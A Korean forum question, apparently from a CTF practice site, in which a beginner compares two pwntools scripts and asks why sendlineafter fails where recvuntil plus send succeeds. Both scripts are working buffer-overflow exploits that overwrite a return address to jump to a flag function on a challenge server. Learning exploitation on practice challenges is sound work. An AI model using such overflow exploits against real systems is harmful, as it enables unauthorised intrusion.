완료됨
sendlineafter과 recvuntil + send의 차이점??
안녕하세요? 초보자인데 너무 이해가 안되는게 있어서 질문드립니다..ㅠㅠ알려주세요!!!
두 번째로 코드로 문제는 풀었습니다만, 첫 번째 코드로는 왜 해결이 안 되는 건지 궁금합니다. 차이점은 sendlineafter를 썼느냐 또는 recvuntil + send를 썼느냐 같은데요..
- 첫 번째 코드
from pwn import *
p = remote("host3.dreamhack.games", 12039)
payload = b'cherry'
payload += b'a' * 10
p.sendlineafter(b'Menu: ', payload)
payload2 = b'b' * 26
payload2 += p64(0x4012bc)
p.sendlineafter(b'Is it cherry?: ', payload2)
p.interactive()
- 두 번째 코드
from pwn import *
p = remote("host3.dreamhack.games",12039)
flag_addr = 0x4012bc
payload = b'cherry'
payload += b'A'*10
p.recvuntil(b"Menu: ")
p.send(payload)
payload = b'B'*26
payload += p64(flag_addr)
p.recvuntil(b"Is it cherry?: ")
p.send(payload)
p.interactive()
#pwnable
작성자 정보